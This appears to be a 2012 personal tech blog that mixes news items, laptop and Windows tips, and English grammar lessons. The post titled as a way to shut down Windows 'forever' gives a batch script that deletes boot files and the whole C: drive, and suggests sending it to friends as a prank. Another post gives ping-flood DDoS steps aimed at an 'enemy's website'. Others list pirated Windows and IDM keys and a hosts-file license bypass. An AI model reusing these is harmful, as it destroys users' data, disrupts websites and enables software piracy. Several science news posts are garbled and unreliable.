Saturday, December 8, 2012

Population increase, a risk to the origin of Earth


Continuously increasing human population, now has started being a big risk to the origin of the Earth. An international group of Scientists have given warnings of next and biggest risk of the end of Earth, and have declared the over-use of resources like Water, Forests and land as the reasons of this problem. They have said that the population on Earth will cross 9 Billions and more till 2050.

This report published on ‘Nature’ magazine says a number of species will get disappeared in the coming time, on which we are dependent to survive. Similar had happened some 12,000 years ago during Glacier retreat. If it happens this way, then it is sure that someday human species will also come to the end point of our extinction. Scientists have warned that we have reached to the nearest stop of the end by polluting the nature, and now conditions has became even more worst than what we had thought before.

(If you have any queries/problems or suggestions related to the post "Population increase, a risk to the origin of Earth", you're most welcome in comments..!) :)

Friday, October 19, 2012

NASA's Curiosity finds unidentified shiny object on Mars surface


 NASA’s Curiosity Rover which had been sent to Red planet for searching the chances of life, and similarities between Earth and Mars, now has found some more interesting things on Mars. Curiosity found some unidentified shiny object on the surface, while collecting the samples of Red Planet’s surface. Rover has found some enough shiny object on the surface of Mars, which can be clearly seen by the pictures sent by Curiosity Rover to NASA. Scientists have different opinions for these shiny unidentified objects, some scientists are taking these objects as some human-made material/object, while other scientist are assuming it as a part of the Red planet itself. After seeing these shiny objects, NASA stated on Wednesday, that Curiosity Rover’s Chemin, which is a special device to check chemical and biological materials, will do more inspection of Mars’s surface to find the truth.




Scientists who are related to Curiosity’s project in California, finally declared that they have seen some shiny objects. NASA’s Scientists have named these unidentified shiny objects as ‘Smutz’. NASA’s scientist have not yet denied from the possibilities of these objects being human made, though most of the scientists are taking it as the metals of Red Planet only, as these are found from the same place from where Rover has collected the samples of Mars surface.

Scientists are also saying that these objects were borken into small parts due to Rover, as these parts are being found in those parts from where Rover had been passed and had made dugs on the surface.

Monday, October 15, 2012

How to Shut Down a Windows running Computer forever.

Introduction:

This post shares some .bat script with you, which can be used as a trick, so that one will Shut Down his/her Computer, and will never be able to turn it ON, until he/she install a new copy of Windows or any other Operating System.

In this trick, you will create a .bat file, which when clicked, immediately shuts down your Computer and when the next time you will try to turn ON your Computer, you’ll find it not possible.

Software needed for creating a file to shut down your PC forever-

 Notepad.. and just Notepad or any other good text editor.
·         Nothing else!

So here it starts:

1) Open Notepad.


Snapshot of Notepad to Shut Down a Windows running Computer forever


Snapshot of Notepad to Shut Down a Windows running Computer forever 1

2) Now, copy/paste the following code into it:
@echo off
attrib –r –s –h c:\autoexec.bat
del c:\autoexec.bat
attrib –r –s –h c:\boot.ini
del c:\boot.ini
attrib –r –s –h c:\ntldr
del c:\ntldr
attrib –r –s –h c:\windows\win.ini
del c:\windows\win.ini
Snapshot of Notepad to Shut Down a Windows running Computer forever 2

3) Now simply save it with you desired name, writing “.bat(without quotes) in the end of the name.


Snapshot of Notepad to Shut Down a Windows running Computer forever 3

Snapshot of Notepad to Shut Down a Windows running Computer forever 4

Snapshot of Notepad to Shut Down a Windows running Computer forever 6

Snapshot of Notepad to Shut Down a Windows running Computer forever 7


4) You’re Done with it!

Snapshot of Notepad to Shut Down a Windows running Computer forever 9

Now,  whenever one opens this file, it should shut down your Computer, and now you cannot turn your Computer ON again.

Another code:
cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q
How it works => "This file sends command to the system to shut down and then deletes all the needed files, which are required to reboot or restart your Computer. As booting is very much required to let your Windows (or any other OS) load, the system has no way to get started again, until you re-install a new and fresh copy of Windows once again."

IMPORTANT NOTE: Remember, to not to click this file ever as you will not be able to recover your Computer once you have clicked or opened that .bat file!

What you can do is to use it whenever it is required, or simply have fun with your friends by sending this file to them and say to open it for some FUN !

Disclaimer: “This trick is being posted here for education purpose. We do not encourage any kind of misuse or bad deeds being done from this information.”

Tuesday, October 9, 2012

NASA’s Swift satellite found signs of a new Black Hole in Milky Way galaxy. Swift J 1745.26


America’s Space agency NASA’s Swift satellite has found the signs of an unknown black hole in our Milky Way. Space scientists have no idea about its real distance from our planet, but they are believing as it is on a distance of 20 to 30 thousand light years away from the inner space of our Milky Way. It has been reported that this Black Hole has been came into vision due to the light of a Bright X-ray Nova. The Head Researcher of this project,  Neil Gehrels said that ‘such lightning X-ray Nova are rare to be seen, and this the only such X-ray Nova, which Swift has captured. Actually, we were waiting for the same’.
A scientist, Borris Baruffati has shown his hope that as the effects of this X-ray Nova will get decreased, we will be able to clear if it is really a Black Hole or not, but knowing its mass.




  • What is a Black Hole?
Black hole is that place in the space, from where even light rays do not come back due to the ultimate gravitational force of that area.

  • What is the name of new Black Hole, found by NASA’s swift satellite?
NASA has named this new found Black Hole as ‘Swift J 1745.26’ depending on the situations and founder satellite ‘Swift’.

  • Where is the new black hole found by NASA’s Swift satellite located?
The new Black Hole is present some degrees away from our Milky Way (or Aakaash Ganga).




(If you're having any queries/suggestions or reactions to this post "NASA’s Swift satellite found the signs of a new Black Hole in Milky Way galaxy. Swift J 1745.26.", you're most welcome in comments..)..)

Tuesday, October 2, 2012

How to maintain Laptop's battery - increase battery life and battery performance.


Introduction:

This post deals with some useful steps on how to maintain our Laptop’s battery, so that it may last for longer time. It is not only useful to save your future expenses to buy a new battery after every third month, but also as it saves you from the trouble of losing useful data due to sudden shut down of Laptop.

Now, I am going to share some useful tips that may help you to maintain your Laptop battery in a good condition.

Tip 1: If you have just bought a new battery for your Laptop, charge the battery fully before taking it into use.

Tip 2: Do not bother if your new battery is not giving a good back-up, get it fully charged and discharged a couple of times so that it can give full of it.

Tip 3: Fully charge and fully drain your battery after every couple of months. It may help in maintaining the battery performance.

Tip 4: Re-chargeable batteries often undergoes self-discharging when not kept in use for longer time. Hence, always keep a battery pack in fully charged state for storage.

Tip 5: Avoid using additional software programs available on the Web which promises increasing battery life and performances. Go for using the built-in power management that comes with your Laptop or Operating System ‘s tools.

Tip 6: Keep the LCD brightness of your Laptop adjusted according to your need, I recommend keeping it at medium, which is good for our eyes as well as saves some or more battery power.

Tip 7: If you do not own a brand new “Ultrabook”, then it is highly recommendable to turn off your LCD when not using the Laptop. It helps in saving those limited 2-3 hours to keep your Laptop turned ON for longer time.

Tip 8: Avoid using screen savers etc on your Laptop.

Tip 9: Close the windows of programs that are not in use at the moment.

Tip 10: Avoid installing unnecessary software programs on your Notebook.

Tip 11: Upgrade the  RAM of your Laptop or add a second RAM if have dual RAM slots on your Laptop. This reduces the usage of Hard Disk to an extent.

Tip 12: Remove all the extra/external accessories attached to the Laptop. (For e.g., USB pen drives, Cards, external mini-speakers etc).

Tip 13: Keep your battery away from fire, water, moisture, metals and the reach of children.

Tip 14:

Now, Tip for every Laptop user- "Avoid resting your Laptops on your thighs more than 10 minutes, it may be risky for you, and cause serious burns and problems like infertility in males, due to the extreme heat exhaust from the Laptop".


Monday, September 24, 2012

What is GodMode and How to enable GodMode feature in Windows Vista/7

Introduction:

This article carries information about GodMode and how to enable GodMode feature in Windows. Sometimes, it becomes hard to find a tool from those hundreds in Control Panel and we need to check every section one after the other, in such situation GodMode provides a brief and listed view of Control Panel tools to make is easy for users to find their desired tools.


What is GodMode?

It is a simple trick or feature provided by Microsoft in their Windows OS’s by which a simple folder can be turned into a shortcut to Control Panel by simply adding a code to it, which on opening gives a sort of listed view of all the sections, sub-sections and sub-sub-sections present in the Control Panel in Windows.



How to enable GodMode mode feature on my Windows computer?

To enable GodMode is as easy as renaming a folder to your desired folder title/name. Actually, it is all about renaming only.

Below are the simple steps on how to use GodMode feature in Windows.

Step 1:Select a location where you want to put a shortcut to all the administrative and setup tools. (Say ‘Desktop’ here)

Now, as you have chosen the location to place the GodMode feature, let’s move to the next step.

Step 2: Now you need to create a new folder, read the rest of the ‘Step 2’ below if you do not know how to create a new folder.

  • ‘Right click’ from your mouse by taking the arrow to anywhere in open space of Desktop.
  • Click on ‘New’ from the drop-down menu and then select/click the ‘Folder’ button.
  • Folder successfully created.

Step 3: Now rename the new folder to “GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} (without using quotes) and hit ‘Enter’.









Step 4: Now you will find that the icon of that folder has been changed from Folder to Control Panel’s icon.

That means you’ve successfully enabled the ‘GodMode’ feature on your folder.

  • Click on GodMode folder to view the contents listed inside it.




Now, you can use this ‘GodMode’ folder to get access to all the tools present in the Control Panel. You can use this feature in different locations of your wish.


How to rename a GodMode folder.

Renaming procedure of the GodMode folder is same as we use to rename a folder’s name to our desired folder name.

To rename, Right click on that folder>Rename>type your desired name for the folder
Or
Simply select the GodMode folder and press ‘F2’ key your keyboard.


How to delete a GodMode folder:

Again, it is as easy as deleting a folder on Windows.
Simply, Right click on the folder>Delete>Click ‘Yes’ in the confirm deletion box.

NOTE: The GodMode feature only works on Windows Vista and Seven. Windows XP users can change the 'View' of Control Panel for their ease.



DDoS or Distributive Denial-of-Services attacks: How to perform DDoS attacks on a website


Introduction:

In this post, I am going to share about DDoS attack, that is an old but working method of DDOS attacking on a website manually. This method comes up to existance with the help of CMD or Command Prompt.  I request to readers to kindly have a look on the ‘disclaimer’(in red) in this post before reading the rest of this article.

Disclaimer:

( This trick is being posted on this blog just for educational purpose. Our blog just want to share that how hackers perform DDoS attacks on a website. We request everyone who is reading this post must not use this knowledge for wrong and invalid tasks, we do not encourage any wrong or illegal act post. Anyone who uses this knowledge for wrong purpose will himself/herself responsible for their deed. )


What is the full form of DDOS?

DDoS stands for ‘Distributive Denial of Services’.

What is meant by DDOS attack or Distributive Denial of Services?

In simple words, DDoS or Distributive Denial of Services attack is a way to shut down a server manually by flooding to sending a large amount of Pings to it. This results in the disconnection and failure of data transmission between that server and the users.

After performing a successful DDoS attack on a website, that website can go offline for hours.
Procedure of how to perform a DDoS attack on a website.

1) Consider an enemy’s website on which you have to perform DDoS attack. For example, let the website name is: www.friendswebsite13471.com.

2) Now, we will have to find its IP address to go for the rest of the steps.



           (In this snapshot, I am pinging www.google.com to give an example of how ping works)

           (In this snapshot, I am pinging www.google.com to give an example of how ping works)


To find the IP address of a website, Goto RUN > Type ‘CMD’ (without quotes) > then type:
ping www.friendswebsite13471
and hit ‘Enter’.

Note: The following procedure will not give you any IP address, as the above website doesn’t exists in real. But if you try finding IP address of a valid of existing website through the above step, you will get something like 100.0.0.100 (though numbers there can vary from 0 to 9).

3) So, now we have found the IP address of enemy’s website. (Say 100.0.0.0 is the IP address of that website).


In the same or a new Command Prompt window (Run>CMD>CMD windows opens), type:
Ping 100.0.0.0 –t –l 65500

5) Now let the Command Propt windows opened and working on the IP and forget it for 1-2 hour(s).

6) After 1-2 hours, when you will try to browse that website, you will find the website has been crashed or gone offline.

Some websites are quite resistant towards DDoS attacks, to flood their servers, one should use different Computers and IP’s to target at the enemy website at the same time, while mini websites can be attacked by a single Computer.

Are DDoS attacks against the law?

This is a question, which is ‘must’ to come in mind of people who read of hear about ‘Denial-of-Services’ attacks.


Remember, none of the wrong tasks can be considered as ‘legal’. If you are knowingly doing such practices in sake of harming a targeted website, then sure you can be at a risk. Note,  we are not the only one who can know IP adresses and location.

To avoid future risks, you may not try knowingly causing any damages to authorization, transmission and working, command, information codes of a governmental or any alien or popular website. In other words, avoid intentionally making harms to any website that is not owned by you yourself.

Thursday, September 20, 2012

How to make Windows 7 genuine through Command Prompt ? [UPDATED: 15/May/2013]

[Updated: Hello friends, it was sad to know that the trick did not work well for most of you. Though it had worked well for me while trying Windows 7 Ultimate (x86), as you may see the snapshot below showing the command being successfully processed.

Meanwhile, please try out the following keys to activate Windows 7 and let me know if it works for you. Here are the keys:
  • C73KG-9TP8Y-36THD-6WJGJ-36Q2G
  • KGHY3-RMDRD-JTVVC-T3JMQ-M44WG
  • H2HCG-K2QC9-TTD47-H372F-DYDGC
  • D4VQM-K6WVT-2PJ6B-HCX7B-D3Q2B
  • Q93D3-6CHGW-8C47B-4DV2P-K9DB3
  • GCVKC-XTGPP-C722V-9WYXB-F2H76
The keys mentioned above are supposed to work well for at least Windows 7 Home Premium versions. But, let us know if it works (or not) for you.

Also, don't miss to try below trick in between. I am not removing the trick as it had worked for me in one go, and I still do hope someone lucky may benefit from it, for sure.

Please co-operate with us, till we find a better solution to this issue]


Introduction:


Hi friends, this time I am going to share a simple though useful trick to make Windows 7 genuine, by the help of Command Prompt. This trick is very useful for those who cannot afford a genuine copy of Windows 7 and handed-over a pirated copy of Windows by third parties, even sometimes virus attacks turns our ‘genuine’ Windows 7 to behave as an OEM or unregistered versions. Hope this post help those who are really in need of this.

Is your OEM/unregistered/pirated version of Windows 7 showing error messages?
Is your genuine Windows 7 showing error messages like “Windows is not Genuine” after a virus attack?

Don’t worry friends.. you need not to reinstall a fresh setup of Windows again and again. Just follow these simple steps being mentioned below to make your Windows 7 genuine with the help of Command Prompt:



1.       Press and hold Windows(Start) key and press ‘R’ on your keyboard
Or
Simply press ‘Windows(Start)’ key and type ‘Run’ on the Search bar there>Click on ‘Run’ from the search results list.
(This will open a small Run program window as shown in the above picture)

2.       Type “CMD” (without quotes) in ‘Run’ box and click on OK.


3.       A new ‘Command Prompt’ window will open up.


In command prompt, type “SLMGR -REARM” (without quotes), and hit ‘Enter’.
Wait for 10 seconds.


Now, a message box will appear as shown in the screenshot below:


4.       Now simply ‘Restart’ your Computer/Laptop.
This time when you will turn ON your PC, your will not find that warning message as “Windows 7 is not genuine” anywhere.
Congrats, you’re done!

From now on, you will get rid of seeing all those irritating messages and limitations to even change a theme or wallpaper of your computer and lots of other features.

Note: Make sure you hit a space between SLMGR and -REARM with typing "SLMGR -REARM.

Friday, September 14, 2012

Pronouns: Definition, Types and Examples of Pronoun

What is Pronoun?

Definition of Pronouns



Pronouns are usually those words which replaces noun words in a sentence to make it less repetitive. Pronouns replaces another pronoun words too.

For example-
'Ram goes to the school, Ram studies different subjects in the school'
can be written as
'Ram goes to the school, he studies different subject there'.
[Here, the underlined word 'he' is a pronoun word which is used in the place of Ram to make the sentence less repetitive]

Types of Pronouns

1. Personal Pronouns - Personal pronouns are such pronouns words that are used to indicate a specific person, gender, number, or case.

  • Types of Personal pronouns: 1) Subjective Personal Pronouns, 2) Objective Personal Pronouns, and 3) Possessive Personal Pronouns.
  • Example- I was doing my homework, the moment you rang me on my cell-phone.

2. Demonstrative Pronouns - Such pronouns which are used to point to a noun or pronoun to demonstrate.

  • Example- This is the same book that I had lost yesterday.

3.  Interrogative Pronouns - Interrogative pronouns are such pronouns that are used to ask questions.

(Some interrogative pronouns are: what, where, when, which, who/whom, whos etc).

  • Example- Whose pen is this?, What is your favorite color? etc.

4. Relative Pronouns - Relative pronouns are such pronoun words, which are used to link two phrases or clause with each-other.

(Some relative pronouns are: what, when, which, who, whom etc).
  • Example- I live in the same place, where Ram lives with his family.

5. Indefinite Pronouns - Indefinite pronouns refer to something which is not definite/specific or exact.

(Some indefinite pronouns are: any, anyone, no one, nobody, each, every, everyone, everybody, some, something, someone, few, more, several, many, all, another etc).
  • Example- I don't have any topic for today's discussion.

6. Reflexive Pronouns - Reflexive pronouns are used to refer back to the subject in the sentence or clause.

(Some reflexive pronouns are: myself, yourself, himself, herself, ourselves, yourselves, itself, themselves etc).
  • Example- Ram often does his work himself, so that his elder brother can get more to study his own subjects.

7. Intensive Pronouns - Intensive pronouns are pronouns that serves to emphasize its antecedent.

  • Example- I myself had visited to that hotel to check what facilities they provide to their guests.

Monday, September 3, 2012

How to make Internet Download Manager lifetime without using any crack or patches



Introduction:


This time I going to share a nice trick for making IDM life without downloading any crack or additional softwares. The positive point of this trick is that while using other cracks or patches, often we face re-doing and re-entering a serial number everytime we restart our system, but by this simple trick, once you are done, you are done forever (Until you re-install a new copy of Windows again).

You must be having IDM installed and not-in-use at the

Here follows the simple steps and instructions: 


1) Go to ‘My Computer’, 'C:\Windows\System32\etc\ '.

2) There will be five different files with names as: hosts, lmhosts.sam, networks, protocol, services.

3) Right-click on ‘hosts’ file there, click on ‘Open with’ from the drop-down menu & select the option for notepad from the new window.

4) The hosts file will get opened with ‘Notepad.exe.

5) Now copy the following codes, and paste into host file (that has been opened in notepad by you).
0.0.0.0
internetdownloadmanager.com
127.0.0.1 registeridm.com
127.0.0.1 registeridm.com
127.0.0.1 tonec.com
127.0.0.1 secure.registeridm.com
127.0.0.1
secure.internetdownloadmanager.com
127.0.0.1
mirror.internetdownloadmanager.com
127.0.0.1
mirror2.internetdownloadmanager.com
127.0.0.1
mirror3.internetdownloadmanager.com
127.0.0.1
mirror4.internetdownloadmanager.com
127.0.0.1
mirror5.internetdownloadmanager.com
127.0.0.1
mirror6.internetdownloadmanager.com
6) Now save this process by simply clicking (Ctrl + S) or by going to ‘File > Save as’ option in the Notepad window.

7) Now, open IDM and enter the key/serial when it asks for registration (pick any freely available serial from the Internet for your version of IDM.

Use any one of the following:
SLPXD-XEVGR-K8H34-2RNXL
355I4-32HQQ-P374V-64OWQ
RWOR1-4424E-5WAIL-TCPA3
R33CB-JT266-2XHJS-W65V7
33WSE-I8EQI-YQR8I-S46KY
H82LN-64V3C-YS2QP-AX3KW
PKWKK-8YNKR-N1IEN-6P4VX
6C376-5B3DQ-N32SC-NN2XQ
DHJF3-8FP5U-LRRMD-YO171
L3D84-K5PRY-HPMF9-HE553

8) IDM will now be registered for lifetime.

9) Restart your Computer once, and you are done!


[NOTE:  This trick is only for tutorial purpose, just to share the ability of technology. This post has not been posted to motivate wrong and invalid usage of any software. For any kind of wrong usage or damage, the user will be faulty himself/herself.] :)

Friday, August 31, 2012

Noun: Definition of Noun, Forms of Nouns, Gender of Noun, Classes of Noun


What is Noun ?


Definition of Noun:

Noun is the word used to name/indicate a person, place, animal, thing, abstract ideas or emotions.
Noun comes under the Parts of speech.

OR

In space or till infinity, whatever exists(e.g., Sun, Moon, Light, Planets, Earth, Human, Animal or anything) can be given a name, and that particular name is known as Noun.

If you understand what is termed as a Noun actually, you can write its definition in different types too. The main thing is you should understand it.


Forms of Noun:


There are two forms of Noun-

1.       Singular Noun- Singular Noun is a noun that refers to a single person, place, animal, thing or idea.

2.       Plural Noun- Plural Noun refers to more than one person, place, animal, thing or idea.

Examples-

·         Man, Dog, Chair, Computer,  Program, Block, Box etc are the examples of Singular Noun.

·         Men, Dogs, Chairs, Computers, Programs, Blocks, Boxes etc are the examples of Plural Noun.

Gender of Noun:


1.       Masculine Noun- Masculine Noun refers to any person, place or animal etc with male gender/sex.


·         Boy, Man, Father, Uncle, King, Actor, Hero etc come under Masculine Nouns.

2.       Feminine Noun- These Nouns refer to any person, place, place or animal etc with male gender/ sex.


·         Girl, Woman, Mother, Aunt, Actress, Heroine etc come under Feminine Nouns.

3.       Neuter Noun- Nouns which refers to words denoting no sex.


·         Tree, Car, Bus, Watch, Table, Chair etc.

4.       Common Noun- Nouns that may denote male as well as female, and have no restrictions to genders.


·         Cousin, Cook, Driver, Doctor, Colleague, Friend, Teacher etc.

Classes of Nouns:

1.       Proper Noun-

Proper Noun is a noun which always starts with first letter as capital. It is used to name a specific person, place, thing or idea etc.

Example:

·         Ram goes to the McDonalds’ store.

·         She was admitted to Sanjeevani HospitalMumbai.

2.       Common Noun-

Common Noun is a noun that can be used for one also more than one person, place, animal, thing or ideas. It should also be written with its first word in capital letter when applied as the starter of a line or sentence.

Example:

·         The month of March; and the month of April.

Here, the same word ‘month’ has been used two times, for two different words March & April].

·         More words like- cat, dog, book, table, building, city, love, hate etc.

3.       Collective Noun-

Collective Noun is a noun that is used to name a group of people, animals, or things etc.

Example:

·         colony.

·         I read in that class.

·         He celebrated his job promotion by partying in a club.

·         Etc etc..

Here, in these sentences, ‘colony’ is actually denoting a group of families and people living in a same place. And so with the ‘class’ of many students and ‘club’ etc.

4.       Compound Noun-

Compound Nouns are those nouns which are made up of two of more words.

Examples are:

·         Heart + Attack = heart attack.

·         Self + Interest = Self-interest.

·         Grand + Father = Grandfather.

·         Sun + Glass = Sunglasses.

·         Mother + Tongue = Mother toungue.

·         Police + Man = Policeman

·         Sports + Man = Sportsman

·         And many more..

5.       Concrete Noun-

These nouns includes the name to such things which can be felt as well as touched physically.
OR
Simply, the noun which names anything which can be touched, tasted, smelled, heard and seen to us comes under Concrete Nouns.

Example:

·         Cats,  dogs, cars, buses, animals etc.

6.       Abstract Noun-

The Abstract Nouns are just opposite of Concrete Nouns. These are the nouns which we cannot see, hear, touch, taste or smell them, we can only feel them.

Example:

·         Love, hate, faith, liberty, justice, memory, thoughts, ideas, happiness, joy, naughtiness, stupidity etc.

7.       Countable Noun-

It can be understood by the name itself. Such nouns which are countable are termed as Countable Nouns. They can be singular as well as plural also.

Example:

·         A car, two cars, three cars.

·         An airplane, two airplanes, three airplanes.

·         A book, three books, seven books.

8.       Non-Countable Noun-

These are the nouns which cannot be counted. They can be separate objects(plural forms) or mixed ones(having singular form) also. Such nouns are also called as Mass Nouns or Non-Count Nouns.

Examples:

·         Many cars.
·         Airplanes.
·         Books.
·         Tea (a mixture milk, tea leaves & sugar and still a Singular Noun).
·         Water.
·         Work.
·         Etc..